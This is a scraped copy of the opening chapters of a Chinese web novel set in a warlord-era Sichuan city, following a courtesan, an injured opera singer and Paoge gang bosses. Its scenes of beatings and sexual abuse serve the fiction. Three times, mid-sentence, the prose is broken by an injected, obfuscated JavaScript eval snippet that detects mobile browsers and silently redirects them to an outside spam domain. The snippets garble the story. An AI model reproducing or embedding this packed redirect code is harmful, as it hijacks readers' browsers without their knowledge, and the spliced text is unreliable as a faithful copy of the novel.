《都是下九流谁嫌弃谁呀》 1. 求见裘三爷 从黄昏持续到夜里的炮声停了,巴青城在下小雨。 霍眉和潘小曼合力推开半堵断墙。墙是从二楼掉下来的,刚好斜挡住了她们藏身的角落;而入城的军阀部队已经完成了第一轮搜刮,街上已经不剩什么人了。 她们是出条子来的,原巴青城军阀的副官范章骅设宴,叫俩人陪酒。如今新军阀孙珍贻进城,别说设宴,范章骅连生死都未可知。 潘小曼扶着残垣,等腿上的麻劲儿过去,轻声道:“我们回怡乐院吧。” 她一瘸一拐地走在前面,霍眉喘了两口气才站起来,又抓起一把泥抹在脸上。幸而一路上都没遇到什么人。走到怡乐院门口,两人俱顿住脚步:此地也遭到了炮轰,本就不大的三层小楼只剩一层半,被厚厚的烟尘覆盖。地上只有几具血肉模糊的尸体,余人大概是听闻炮声迫近,便迅速撤离了。 夜幕黑的并不纯粹,透着狰狞的红,是皮肤下的淤血。雨声寂寂,水流像蛇一样直往脊背里钻,不发出什么声音。 潘小曼只看了尸体一眼便移开视线,抓住霍眉的胳膊,“姐,我不想在城里待着了!三天一小打,半月一大打,这些军阀不顾老百姓死活的......” “现在城门口肯定守得紧,真要走,也要等孙珍贻坐稳了。” 她说罢就走进废墟中整理了两个皮箱子出来,潘小曼咬着手指看了好久,才如梦初醒,也跟着找值钱的东西。但他人来不及带走的银元、首饰本就不多,被霍眉搜完后更不剩什么,最后她只摸出几件压在箱底、未受殃及的袄子。 这袄子不是她的,霍眉搜出的东西更不是霍眉的。她巴巴地望着后者,后者却是毫不理会,眯眼辨认着烧成焦黑一片的路。 在怡乐院时潘小曼就只会模仿这位头牌小姐,霍眉穿什么衣服她就穿什么,霍眉引着客人闲聊她就也说个不停,霍眉望着人家的眼睛安静地笑、她就也不说话,否则,她是没有主意的。当下霍眉开始往前走,她也只好跟着,过了一个街区,到漱金戏楼。 “这离怡乐院才多远?” 霍眉也不敢保证多安全。她只是觉得怡乐院也好、漱金也好,都会是军队第一轮搜刮的重点目标,好看的男人女人全都掳了个干净,后面就懒得再光顾。 漱金没有被严重损毁,但也人去楼空。后院有个柴房,除了柴火外,还堆了炉子、锤、绳等杂物,墙角处靠着个方方正正的箱子,落了大铜锁。她将柴堆往门前挪了挪,找了块空地,铺上干草,道:“我是住这儿了,要不要跟着,你自己决定。” 潘小曼倚在门口,六神无主,又啃指甲。霍眉将皮箱打开,除了两块银元、一张银元票外,还有两串项链、一副耳环。她拿了银元票藏在胸脯的背心里,褪下湿透了的旗袍,换上肥大的仆妇衣裤。 “等等!”潘小曼拦住她,“你不能一个人独吞吧?多少分我些。” “旧军阀发的银元票,再不兑,新军阀就不认了。” “那我也去。” 霍眉不耐烦了,“我一个人去更方便。市中心危险,你上赶着被抓?”言罢推开她出门。 路边坐着零星几个百姓,表情木讷,叼着烟斗;行人一小撮一小撮靠着路边走,长衫宽帽,行色匆匆。天上仍飘着雨丝,市中心大部分商户都紧闭门窗,连警察也不见了。 钱庄还没开门,明早开门的时候肯定就不认银元票了。她直走到窄巷尽头一家茶馆门口,红漆匾上“融顺茶馆”四个金字老旧的发黑——霍眉不认字,但她知道写着这个。等到天蒙蒙亮,伙计从里面开了门,见有人候在外头立刻警惕起来。 霍眉忙道:“我有事求见裘三爷。” “昨日炮响了一夜,三爷刚歇下。若真要等,就先喝一壶茶吧。” 她连连道谢,找了个凳子坐下。伙计拿块抹布擦完桌子,又大声重复道:“你若真要等,就先喝一壶茶吧。” 你个龟儿。 只得拿出一百铜元,“最普通的绿茶就好,谢谢。” 裘三爷这觉睡的没完没了。霍眉强撑困意,喝光茶水后,将茶叶细细嚼碎吞下去,苦涩却让腹中的饥饿感更甚。因为昨日范章骅入城的缘故,茶馆内一直没有客人,伙计做完清洁后就趴在柜台上望着她发呆。 他听说过霍眉。霍眉嘛,怡乐院那个霍眉,名字听着就妖里妖气的,大概有副狐狸精长相。如今见了却发现和“狐狸精”搭不上边儿,看到霍眉第一眼,你都注意不到她的具体长相,你只会觉得她很女人。不管是光滑莹白的皮肤、细细的嗓音还是身材,都钝感而柔软。 现在霍眉趴在桌子上,坐的板凳与上半身却不是垂直的,导致腰肢扭着;两条胳膊挡住半张脸,眼睛快要合上了。比起云彩这样轻盈、缥缈的东西,伙计觉得她像面团,刚发好的,凑近闻还能闻到酒香。 他痴痴地盯着她,直到裘三爷下楼了都没发现。霍眉根本没睡着,却仿佛刚惊醒般,摇晃了一下才站起来,“三爷!” 裘三爷身后还跟着两个男人,等他坐下了仍立侍左右。裘三爷不紧不慢地抿了一口蒙顶黄芽,也不看她,反而看向身后的两人,“你们有谁叫了条子吗?大清早的。” 两人加一个伙计均吃吃笑了出声。霍眉有些无措,赔笑了一下,“不是不得已,也不敢大清早的来打扰三爷。我本有一件麻烦事,想来想去都不知道有谁能办到,还是有个妹妹提醒说‘裘三爷大概有这个本事’——和我想到一块儿去了!这才鼓起勇气,来贵馆喝这一壶茶。” 裘三爷又回头,“听听,我的名声都传到怡乐院去了。” “巴青城人人都称赞三爷大义公道。别人说还不算,倘若连我们这样的人都信服,那才是真公道呢。” 她似乎丝毫未意识到裘三爷语气中的轻蔑,言辞恳切,走到跟前微微抬眼望着他;被雨淋湿的头发将干未干、稍显杂乱,有两绺贴在鬓边,衬得乌发更黑、雪面更白,脸型都更尖了几分。 “花言巧语。”裘三爷哼了一声,“你来做什么?” 霍眉赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003766|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧将银元票掏出来,双手捧递。 四川军阀混战已久,一个个像唱戏般你方唱罢我登场,经常有旧军阀发的证券、新军阀不认,旧军阀征过的税、新军阀再征一道这类事情,甚至还自己铸币,真变成土皇帝了。 她如此急切地要兑券,是因为这张银元票面值巨大——五十银元。裘三爷盯着签名,眼也不抬,“范章骅亲自发的?你怎能拿到这种东西?” “付了我前两个月的工钱。” 其实不止含有她的,还有潘小曼等一众姐妹的份儿,虽说在她面前占小头就是了。这银元票是付给田妈的,按照规矩,田妈又要和她们七三分,再扣去前两个月交过的税,真正到她手上的连十块都不到。 眼下她只是含糊其辞,说成是自己的。 “他很喜欢你?” “不敢,只是我的每个周五都会预留给范副官,他一周内至少会来这一次。” 裘三爷不想看那双泪光盈盈的眼睛,拄杖起身,慢慢走了两圈。“今日有三人在场作证,你将银元票先交给我,不管行不行,都必有个答复。” 后面头也磕了,千恩万谢也表示了,霍眉脸上的表情在走出融顺的顷刻间消失干净。商铺还是都没开门,有个卖馍馍的拖着板车畏头畏脑地缩在街角,看她是个女人才没有跳起来就跑。 路上她啃掉了两个馍馍,还有三个装在报纸里,潘小曼若要,就讨价还价一下再给;潘小曼若没主动要,那就算了。推开门后她意识到不用了,潘小曼自己跑了,带走了所有首饰,好歹还给她留下了一块银元。 霍眉叹了口气,拽过搭在柴堆上、自己换下的那件湿哒哒的旗袍,从内缝的口袋里取出了两块银元——她在怡乐院时就留了个心眼——收进皮箱里。虽说不多,也够她生活。反倒是戴着显眼的首饰跑上街或者独自去当铺的潘小曼更危险一点。 忍着洪水般的睡意,她拖着脚步在柴房外转了一圈,要是能发现潘小曼还在附近固然是好,若她走远了也是她自己选的,自己算是仁至义尽了。 这一走不要紧,走到街口时,发现树丛下叠着两具穿戏服尸体。霍眉心里发憷,本着不惹事的原则,想掉头回去,不料下面那具突然抽动了一下。她张望一圈,确定四下无人后,抓住那人的脚踝将他拖出来翻了个面。此人淋了一夜雨水,脸上的油彩被冲掉一半,稍微能做出些辨认。 怡乐院和漱金戏楼离得不远,又都是下九流的行当,一来二去彼此间都混了个面熟。霍眉和此人就属于认识但没什么交情的程度。若非顾忌引狼入室,她也不愿见死不救,当下放下心来,将他一路拖回柴房。 一夜都没醒过来,难道是受了伤?但穿着厚戏服,根本看不出明显的伤痕。 霍眉顺手就把那件花青色大襟的裙摆掀起来了,然后发现里面......没穿裤子。她连忙盖了回去,已经看男人屁股看到发晕了,不愿在非工作时间多看一眼。想了想又觉得不对,再次掀开,这才发现了大腿上被雨水冲淡的血迹。 2. 玉麟 一觉睡到下午。地面比床板硬多了,霍眉醒来的时候觉得浑身酸疼。找到院子里的水龙头接了一桶水,却找不到能点炉子的火柴,只能抱着桶喝了几口。生水里漂浮着不明白色微粒,有股鱼腥味儿。 她将桶搬回柴房。席玉麟已经睁开了眼睛,正呆呆地坐着。 他长得漂亮,很漂亮。脸庞消瘦,鼻骨高而薄,眼尾微微上翘,一副没福气又实在受了上天几分垂怜的美人貌。纵使妆容滑稽地糊成一团,也难掩清丽之姿。年纪明显是很小,再加上这副样貌,实在很难叫人把他当男人。 霍眉开口道:“你......” 席玉麟不知从哪个口袋里摸出个珠钗,照着脖子粗暴地捅了两下。好在手上没力气,窟窿不深;血珠一串一串地往外蹦,却不至于发展成喷涌的地步。霍眉看傻眼了,见他还抓着那个珠钗打算再来几下,立刻当胸一脚,把人踢得滚了半圈;自己则捡起那支看上去还算精致的珠钗,悄悄收入袖中。 “神撮撮的搞啥子?老子救你一命,不要不识抬举。” 他面无表情地闭上眼睛。 “要喝水自己爬起来喝,要吃东西,不给你吃。”说罢霍眉掏出一个馍馍自己靠在一边啃起来,吃完后,接了桶水将旗袍和皮箱里几件衣服一并洗了晒出去;又找了个空房,拿毛巾蘸水全身上下擦拭了一遍,这才清清爽爽地回到柴房。 席玉麟好像又晕过去了,血液把衣服上襟染红了一半,还在细细地往外涌。霍眉叹了口气,从他身上撕了一块布下来、给他按压到止血,然后两巴掌把人打醒,用手舀起水往他嘴里灌。再不吞咽就要被呛死了,他的喉头只得滚动两下,睫毛也跟着颤抖。 “长得好乖哦,”霍眉道,“你要是来我们怡乐——” “还嫌我不够贱?” 她几乎要嗤笑出声了。装什么贞洁烈男,戏子私下里是做什么工作的,谁还不知道?况且她又是做什么工作的?“都是下九流,外人面前装装可以,别把自己装感动了哈。” 席玉麟眼神空洞,懒得理她,旦总归是坐起来自己又舀了口水喝。她瞅着他,心里不痛快,嘴上就不愿意饶过此人:“喝口水还要人哄着,你说你这副小婆娘的样子......” “闭嘴!”他忍无可忍地吼道,“闭嘴,你又算什么东西?” 脚步声突然停在了门口,然后吱呀一声推开了门。两人刚才吼得正大声,都没及时觉察到,霍眉立刻翻到柴堆后面去了;席玉麟行动不便,只得扶着墙站起来,不敢看那人,轻声道:“长官。” 其实不是什么长官,只是个普通小兵而已,拿着杆中正式步枪。 “见着我打火机没?”他问,“昨儿来过一次,打火机丢了。” “没有。” 士兵一脚踢在他腿上,“那你还傻站着?” 他立刻趴下来四处翻找。士兵用靴子踢着地面上散落的细柴火,眼见着就要走到霍眉的藏身之处了,席玉麟矮着身子跑过来问:“是什么样式儿的?铜的还是铝的?方的还是圆的?” “铜的,方的,你他妈看到就知道了。” “是,给你搬个凳子在外面坐着吧?里面热,我替你仔细找。” 士兵一转身,枪托扫倒了一片码高的柴火墙。霍眉猝不及防和他对视上了,心脏停了半秒,连忙挤出个哀求的笑容,“长官......” 这士兵单纯是出来找打火机的,马上要换他的班了,应该立刻回营才是。偶然见着个水灵灵、白里透红的大姑娘,又有点起心思,又记挂着换班,犹豫着下不了决心。碰巧这时席玉麟跑回来了,将小巧的铜制打火机还有一枚银元一并塞进他腰包里,同时将人轻轻往外推,“再替你叫一辆车?这里离军营很有段距离。” 士兵跟着一步步往外走,发现推着自己的这只手虽然瘦骨伶仃的,却有股不容抗拒的大力;再细细看去,此人虽穿得怪模怪样,却是个男人。他一合计,也懒得再生事端了,走就走吧。 柴房内,霍眉坐在地上,心有余悸地喘息良久。虽说她本就是烟花女子,但在社会秩序正常时发生的公平交易和被兵痞带走还是有很大区别,就是把她弄残、弄死,谁能来给她伸冤? 她兀自出神的时候,席玉麟已经回来了,重新关上门、又上了道门栓。“给我一个银元、二百五十铜元,”他张口便说,“还有压鬓簪,还给我。” 霍眉冷冷地望向他,“我没有那么多。” 他不跟她废话,直接打开皮箱开始翻找。霍眉勃然大怒,猛地冲过去把他撞到墙上;席玉麟显然没有设防,突然抽了口气,顺着墙滑下、跪坐在地。 她啪地关上皮箱,拎起就跑,跑到街角处。另一具身着戏服的尸体已经不见了,大概是被警察收走了。霍眉愣神片刻,使劲儿跺了跺脚,又跑了回去。地上那人已经由跪坐转变成了侧躺,在地上蜷缩成一团。 “喂!”她踢他的背,“扯到伤口了?去找个大夫。” 席玉麟闭眼忍耐着疼痛,扯到的当然不是脖子上的伤口,是屁股后面那个撕裂的伤口,这事儿就是叫个大夫知道了他也不活了。霍眉料想他也不会去,叹口气,问道:“你要我做什么?” “......打水。” “伤口不处理,直接沾水洗澡?” “我叫你打水!” 霍眉翻了个白眼,打了盆水给他,还大发慈悲地附赠了毛巾和从漱金找来的一套干净男装,关了门,自己坐在外面的台阶上看晚霞。过了好久他才出来泼水,水都被染红了。她白眼要翻上天,突然想起来皮箱还在柴房里,赶忙冲进去清点东西。席玉麟将盆子洗了两道放在外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003767|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,进来时看到她的背影,淡淡地说:“我是不该翻姑娘家的行李。” 霍眉介意的哪是这个,半天没说话。他又道:“二百五十铜元就免了,你还是得给我一个银元和——” “给给给给给!”她叫起来,把银元和压鬓簪塞进他怀里,“行了吧?你满意了?我现在全身上下只剩两个银元和几文钱了!” 席玉麟注视她几秒,似乎想为自己辩解,最后还是懒得在这个女人面前费口舌,背对着她躺下了。一拳打在了棉花上,霍眉也觉得没意思,抓过第四个馍馍打算吃完睡觉,想了想掰下三分之一个递过去。半天没人接。她怒气冲冲地塞进了自己嘴巴里。 是夜她睡得并不安宁,主要是因为席玉麟一直旁边在轻声哼哼、动来动去。她坐起来,心头火起,一脚把他踢远了点;席玉麟仍未醒,转了半圈后,能明显地看见新换上的裤子后面又洇出了血迹。她摸了摸他的皮肤,发现很烫,黏黏糊糊的都是汗。 她最讨厌摸到男人的汗,然而这在生活中这是不可避免的。人家臭汗淋漓了,你还要贴上去,蹭满身满手的汗......不管多少年了,始终不能习惯。现在猝不及防摸了满手,倒没有太嫌恶,一边用他的衣服擦着,一边就想着这席玉麟要是因为感染死掉了,那不是白救了? 她走神许久,直到嘈杂的人声渐渐往这边靠近。霍眉迅速爬起来,贴着窗户张望了会儿,发现是漱金的戏班子回来了,都是些熟面孔。皮箱是昨晚就收拾好了的,柴房的窗户也后街也是通的,如不想多生事端,现在就可以悄悄溜走。不过溜走之前,没忘记从他口袋里把那一块银元重新拿回来。 沿街叫卖的人又多了起来,鲜活的人气挤散了薄雾。霍眉暂时没找到合适的落脚点,便提着箱子直接去了融顺茶馆。路程远,走到时浑身上下又湿漉漉的,不知是出的汗,还是初夏空气中的水汽。好窘迫,从前外出的时候顾客都会帮她叫黄包车。现下她只得整理好衣服和头发,忍着一直不怎么饱的肚子,准备进去吃茶叶。 伙计抢在她前头说:“三爷说了,今天不会来,叫你明天来找。” 霍眉点点头,那她就不必进去买杯茶喝了。但是问题接踵而至:她该去哪里呢?原来去郊外避难的人都陆续回来了,没有空出来的屋子给她住;而怡乐院,她不准备把这五十银元交给田妈分配,所以是决计不敢回去的。 虽说现在街上有警察了,也不见四处游荡的兵痞,但霍眉还是不敢在电话亭里凑合一天,只能忍痛住了一天的旅馆。选的是最低级的十铜元一天的通铺,被子都是一股霉味儿。这天除了中午出去吃了一大碗面以外,她就窝在旅馆里没出来。 凌晨时分换上干净衣服、盘好头发,霍眉不紧不慢地走到茶馆门口,没让自己出一滴汗。所以裘三爷下楼的时候,她显得很体面。 3. 五十银元 这回跟在裘三爷背后的不是两个普通袍哥,而是一个三十多岁的男人,高大沉默,戴黑帽、墨镜,站在那儿像座黑山。霍眉不认得此人,只听伙计叫了他一声“李五爷”,于是也跟着叫了声五爷。 袍哥的次序中没有“四”和“七”。相传郑成功创立的组织“明远堂”中,排行第四和第七的人后来成了叛徒,而袍哥重义气,最见不得出卖兄弟之事,便从此不再设四排和七排。又有“龙头大爷、聚贤二爷、当家三爷、管事五爷、赴汤蹈火兄弟伙”这样的说法,这位李五爷大概就是地位仅次于裘三爷的人物,他将一张支票推到她面前:“付款人是我们舵把子,不管在哪个钱庄都取得出来。” 霍眉的眼睛盯的发直,正准备用手指按住支票时,裘三爷发话了:“那张银元票,相当于是我们堂口自掏腰包帮你兑换的。霍小姐也不能白拿,是不是?” “是。”她立刻应道,“各位爷的大恩大德,眉没齿不忘。” 裘三爷勾了勾手。她袅袅娜娜走过去,撑着太师椅的把手,半蹲下来将耳朵凑近听他说话,微笑的表情在闻到老人味儿的时候都丝毫没变,却在听完内容后变了。 “三爷,这太......” “五十大洋,都够买你的人命了。” 霍眉的嘴唇颤抖起来,半蹲也蹲不住了,直接滑到裘三爷脚下跪着,“此事需有胆识、有魄力的女子去做,我就是个......贪生怕死的粗人,恐怕会坏了三爷的计划。” “你可以拒绝。”他指了指门口,“出去吧,支票留下。” 她不是为了钱连命也不要的疯子,此刻脑中一片空白,爬起来后就跌跌撞撞地走出去了。走出三米后突然回过神来,自己听到了这样机密的计划,哪还有拒绝的余地? 她有几秒站着没动,然后缓缓地、缓缓地转过身来,对上了李五爷手中黑洞洞的枪口。 腿瞬间就软了,霍眉都不知道自己是怎么迎着枪口重新走回茶馆的。她将支票塞进内缝口袋里,又给裘三爷和李五爷一人磕了一个头,走出茶馆所在的巷子后,魂魄才算是回了□□。而且因为怀揣巨额支票,她奢侈地叫了一辆黄包车去邮局,一路将双手紧紧叠放在口袋上面。 下车后,她把迎风吹出来的几滴眼泪蹭干,迅速去挂号寄信。 “川西白羊县祥宁镇邮局,对不对?”年轻的服务生帮她在信封上写好地址、贴好邮票,“收件人叫什么?” “哎,笔给我,这个我会写。” 霍眉接过笔,写下“霍振良”三个字,字迹虽稚拙,却有种初学者顽固的端正,与上面龙飞凤舞的行书形成了鲜明对比。服务生一看她这副虔诚的样子就笑了,“未婚夫啊?” “弟弟。”她也笑了笑,又很得意地补充道,“大学生!” 身上只是少了一张薄薄的支票,霍眉却感觉像卸下了千斤的担子,提着两个皮箱的脚步都变得健步如飞起来。她走到一家裁缝铺面前,正想问问招不招女工,左边突然飞来一巴掌。 她顺势躺在地上,迎着炫目的阳光,看到了田妈愤怒到扭曲的脸。霍眉甚至没有听清她在吼叫些什么,因为接下来几巴掌是照着耳朵招呼的,打得她脑子里嗡鸣一片。但她知道她在说什么,“潘小曼说你拿了银元票,拿到哪里去了”“为什么不回怡乐院待着,在大街上游荡,你个贱蹄子”“行李都收拾好了?你一分钱也不交给我,自己说走就走了?”,诸如此类的。 她自知理亏,没有吭声,就是感觉大庭广众下被这样打有点丢人,遂把脸捂住。田妈实在是很有经验的老鸨,她善用的惩罚方式——不管是针扎还是打耳朵还是往嘴里放烧烫了的铁,都不会在身体上留下明显痕迹。但这次实在有些狠了,一阵剧痛后,温热的血从耳道里流出来。 田妈见不论问她什么都是那副迷茫的死样子,便先叫了一辆黄包车,拉着她回了怡乐院。 她还以为要走回去,这下疼痛的双脚又得到了休息,于是在尖锐耳鸣中颇为享受的闭上眼。 怡乐院没有修好,但一楼打扫后可以住人,这几天暂不接来客,姐妹们一起在大通铺里挤着睡。谁来出钱修?当然是田妈出大头、她们凑份子出小头,那些个土皇帝怎么会好心地给你报销,被炸到就自认倒霉咯。 田妈将她单独关进一个小房间里,开始问话,问了一会儿意识到她真的什么都听不见。只得找来纸笔写:银元票?这几个字中霍眉就认得个“元”字,叹了口气,答道:“我找裘三爷换成支票后寄出去了。” “寄给谁了?” 霍眉仍兀自喋喋:“第一,如果不是我行动迅速,现在没有任何一个人还会认这张银元票;第二,我去找裘三爷是因为本来就认识他老人家,你知道,他最看不起我们这种做丑事的,与他攀不上交情,他不会帮这个忙;第三,我也是为裘三爷做了事的,他不会白帮忙。本来就只有我能将银元票兑现,那它不就是我的?你就当我没拿走,它现在也只是废纸一张了。” 田妈的脸黑的可怕,她静静地盯了霍眉一阵子,将门锁了起来。此后三天每天只有一碗粥。第四天霍眉已然神志不清,听力倒是恢复了一点,田妈便又进来问:“寄给谁了?寄到哪儿去了?” “你打我吧。” “我问你寄给谁了!”田妈妈大叫起来,揪起她的头发往墙上撞,“五十大洋!五十大洋!你个狗日的东西,回话!” 但霍眉始终不开口。直到细细的血流从发间爬到脸上,田妈才恢复了一点理智,松开手,年轻女子的上半身不受控制地向下栽倒。不能打出个好歹来,她想,霍眉目前还是自己最拿得出手的姑娘。 醒来的时候自己已经躺在大通铺上了,霍眉闻到自己身上都馊了,然而丝毫不想动弹。潘小曼坐在一旁,绷着脸望着她,见她睁眼又别过头去。 “有没有吃的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003768|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潘小曼果然从口袋里掏出一个玉米馍馍。她毫不留情地接过来就啃,只是一动嘴,牵扯得整个头部都疼痛起来,只能用后槽牙慢慢地磨。霍眉把外套揉成一团换掉梆硬的枕头,慢慢平躺下来,打圈按着太阳穴。 “姐,”潘小曼轻声说,“我要是没有走,你会不会分二十给我啊?” “不知道。” “我是个瓜脑壳,妈妈找到我后,就把钱和首饰收走了,说那本来就不是我的东西。我的衣服都被烧坏了,她说也不关她的事。还是你有主意,姐,你一向都是有主意的。” “现在逼逼叨叨有啥子用?” 潘小曼不做声了。 这一晚上她没睡着,一方面是身上难受,另一方面是因为想着裘三爷的话,心脏像被恐惧捏住了一样,最后还是体现为身上难受。清晨时她便爬起来洗头洗澡,凉水浇在头上,使脑袋中的钝痛更清晰。 霍眉把脑袋搁在椅背上,让头发垂在后面慢慢晾干;两眼则盯着深紫发红的天空,看它一点点亮起来,变成血红。钝痛一下下撞击着脑袋,搭配眼前浓烈的色彩冲击,搞得她有点想吐。 “霍眉。”一个叫兰洁的姑娘在二楼的窗户那里喊她,“妈叫你。” 她哎了一声,换了身衣服准备接着去挨打。刚走到堂上,就看到李五爷翘个二郎腿端盏茶沉默不语;田妈见她来了,满脸堆笑,刚准备开始夸霍眉的好,李五爷便开口道:“我时间紧,可以了,让她跟我走吧。” 眼见着他已经要掏钱压在茶盏下,田妈怕留下不好的印象,连忙推阻,“不急,不急,晚上把人送回来再说。她若是有什么让你不满意的地方,价钱还能再商量。” 李五爷人都走到门槛边了,还是回身压了压帽檐,对田妈点了个头,钱还是没有收回来。霍眉心中紧张的要死,跟着他一路来到一辆雪佛兰边上,见他坐进驾驶室,自己便往后排钻。 李五爷边系安全带,边拍了拍副驾。 霍眉又换到副驾,侧脸看着他笑了笑,“不好意思,昨夜没睡好。” “三爷说的事,你想好怎么办了吗?” 裘三爷要她做的是:把范章骅引出来。新军阀杀了一批人后公示了名单,旧军阀王茂山及其副官范章骅都不在列,城门也封锁了,说明二人仍在城里藏着。 至于引出来做什么,那就不是她该知道的了。裘三爷表示提供一个能联系上范章骅的中间人,让霍眉以她的名义,约他出来相见。 “想了,三爷的法子恐怕不算最合适的。范章骅谨慎多疑,主动联系他,必然打草惊蛇。我最好是处于低位,把选择权交到他手里。”言罢,她凑过去,轻声与李五爷耳语几句。 五爷的嘴角抽动了一下,“他真的会来?” “可若找上中间人,他一定不会来。” 霍眉不会把话说满,但按照她对范章骅的了解,他会来的。 4. 再见范章骅 李五爷先找了个公用电话打给报社,如巴青日报、蜀报等等,向记者预告:上午十点,嘉陵饭店门口有大桃色新闻。 他们将车开过去时才八点,熄了火,李五爷就仿佛入了禅,不动也不闲聊。 霍眉率先开口道:“五爷用过早饭了吗?我去帮你买。” “不用,你别下车。” 然后李五爷把墨镜摘了,揉了揉鼻梁。他的眼睛和他整体给人的感觉很协调,沉黑、稳重。相貌算不上很有特色,但相当周正,总感觉和接下来要做的事很违和。 “你是哪里人?” “不要套话。” “啊,请别误会,我是想聊聊天……” “我知道。”他又把墨镜戴上了,“但是下次和别的袍哥一同出去,就别多问了。你会显得可疑。” 霍眉此生都没有这么憋屈的经历:和一个男人共处在如此狭窄的密闭空间里,整整两个小时,不执一词。 快十点的时候,几家报社的记者们陆陆续续来了,脖子上都挂着摄像机。 嘉陵饭店是三角形的建筑,分别有两条路沿着它的两壁延展出去,尖头有个旋转大门,门前对着十字路口,路况可谓是相当复杂。 他们的车就停在十字路边不远处。估摸着差不多了,李五爷下车后绕道霍眉那一侧,打开车门,拽着她的一侧胳膊将人拉出来。 霍眉尖叫起来,试图将手腕抽出来。几个记者迅速冲过来,二话不说就开始拍;李五爷似乎被快门声忍恼了,用力一拽,将她拽倒在地。 “给我甩了一路的脸色了,做啥子?这是你服务人的态度?老子今儿高高兴兴出来,就被你个狗日的婆娘搞毛了——” “五爷,”霍眉仍在试图扭手腕,“我没有——我哪里敢不高兴——” 记者们刚才看开头的时候只以为是普通男女拉扯,哪能上升到大桃色新闻的程度,直到听到这声“五爷”——融顺堂的五爷。 都知道这个在哥老会里冒出头的年轻人不近女色,三十多了也没娶妻,如今却因为一个女人的冷淡在大街上动了怒! 围观的人越来越多,李五爷骂了一通后仍不解气,突然提起她往后走去。不远处有个巷口,里面是死胡同,用来放置清道夫、秽水夫的推车、木桶、扁担等清洁用具,怕人偷拿,警察局又给安了道铁门。现在门是开着的,他将她扔了进去,在外面咔哒一声把锁按上了。 “我不来开门,我看谁敢开。”他撂下这句话后,撞开人群,头也不回的走了。 霍眉在心中无力地骂了一句。 且不说李五爷因为没有当纨绔子弟当街闹事的经验,演的不像;把她关在哪里不好,关在这臭气熏天的地方!围观人群在外面议论纷纷,她只能背过身去,把脑袋埋进膝盖里,抽抽噎噎地继续哭。 中午时清道夫回来了,推着小推车陷入茫然。“五爷说了,不许开啊!就算钥匙在你们手里也不行!”围观群众争相告知,于是小推车停在了外面。 晚上田妈带着警察来了。警察从来没有实权,只敢欺负百姓,军队、袍哥却是不敢招惹的,在外面观望了一会儿,说若三天后李五爷还不放人再去找他商量。田妈踱了几圈,谁也不敢骂,只能一个劲儿骂霍眉,从栏杆缝儿里递了两个包子、一杯水。 她便背靠着墙壁睡了一夜。 第二天大家的新鲜劲儿也过了,只在路过时瞟一眼;田妈又来送了一趟吃食。巷子里积郁多年的泔水味儿搅得人头昏眼花,霍眉勉强集中注意力,在脑海中一遍一遍地构思待会儿见到范章骅该说的话。 就像她预料到的一样,今夜来人了。 铁门口传来喀啦喀啦的轻响,霍眉几乎是从地上弹起来,快步走过去察看来人是谁。这人叫王传立,是范章骅的亲兵,也在黑暗中抬头看了她一眼。下一秒锁被撬开了,他确认四下无人后,小步跑了出去。 两人一前一后钻入雏鸟路居民区。居民区的房屋并不规整,有清朝遗留的、民国初年的还有自建的,钻着对方的空子横竖铺张,晾衣绳、电线、广告牌彼此纠缠,在逼仄的上空像一把挂面。不少人仍蹲在门口抽烟、赌博、发酒疯,尽管夜已经很深了,噪声将挂面之间的最后几丝空隙堵上。 这里藏个人,孙珍贻一年都未必能搜出来。 王传立走进一家药店,和老板打过招呼后上了二楼,再走空中廊桥到了街对面的旅馆二楼。旅馆自己的楼梯倒是封掉了,要到此地,非得从药店里面走不可。 王传立轻轻敲了三下,道:“副官,是我。” 203的门从里面被打开了,刚开了半个人的宽度,霍眉就超过王传立迅速挤了进去。身着睡袍的范章骅原是打算慢慢开门,一下猝不及防,被她撞了个满怀。 “千里。”她轻声叫道,又颇不好意思地退了两步,退到刚锁上门的王传立身边,“再见到你真好。” 之前见范章骅的时候,他都梳着油光水滑的背头,一整套军装乃至大衣手套样样不落;这几天没有头油可用,军装也不方便穿,即使仍顶着那张表情很拽的脸,也显得他年轻了好几岁。 范章骅似笑非笑地盯了她一会儿,展开昨天的巴青日报,那张被李五爷拽到地上的照片赫然了占据了四分之一的版面,“丑不丑?” “......是把我拍的好丑。” “我是问丢不丢人?” “昨日周五,我就不愿陪他。”霍眉认真道,“故剑情深,不丢人。” 范章骅一晒,将报纸随手撇在茶几上,握住她的手腕,把人牵进浴室后出去掩上门。知道她爱干净。直到淋淋漓漓的水声停下,霍眉趿着拖鞋坐到他旁边,才开口说:“回去后,你要怎么跟怡乐院的人说?怎么跟李舟解释?” 原来五爷叫李舟。 “我便说是自己撬了锁。” “你有这能耐?” 